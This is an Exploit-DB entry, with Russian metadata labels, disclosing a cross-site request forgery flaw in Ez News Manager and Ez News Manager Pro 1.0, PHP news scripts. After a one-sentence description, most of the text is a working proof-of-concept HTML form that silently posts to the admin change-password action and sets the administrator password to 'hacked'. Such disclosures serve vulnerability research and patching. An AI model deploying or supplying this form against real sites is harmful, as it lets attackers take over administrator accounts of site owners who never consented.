Exploit Ez News Manager / Pro - Cross-Site Request Forgery (Change Admin Password)

[Exploiter]

EDB-ID

10452

Проверка EDB

1. Пройдено

Автор

MILOS ZIVANOVIC

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2009-12-15

[#-----------------------------------------------------------------------------------------------#]
[#] Title: Ez News Manager / Pro - XSRF Change Admin Password
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 15. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: Ez News Manager / Ez News Manager Pro
[#] Version: 1.0
[#] Platform: PHP
[#] Link[Pro]: http://www.scriptsez.net/?action=details&cat=News%20Publishing&id=2154687026
[#] Price: 15 USD
[#] Link: http://www.scriptsez.net/?action=details&cat=News%20Publishing&id=1194243816
[#] Price: 10 USD
[#] Vulnerability: XSRF Change Admin Password
[#-----------------------------------------------------------------------------------------------#]

Ez News Manager and Ez News Manager Pro scripts lack of cross site
request forgery protection, allowing us to make exploit to change
admin password. This exploit works with both scripts:

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://server/enmp/admin.php?action=change_password"
method="post">
  <input type="hidden" name="n_pwd" value="hacked">
  <input type="hidden" name="new_pwd" value="hacked">
  <input type="submit" name="submit" value="Submit">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF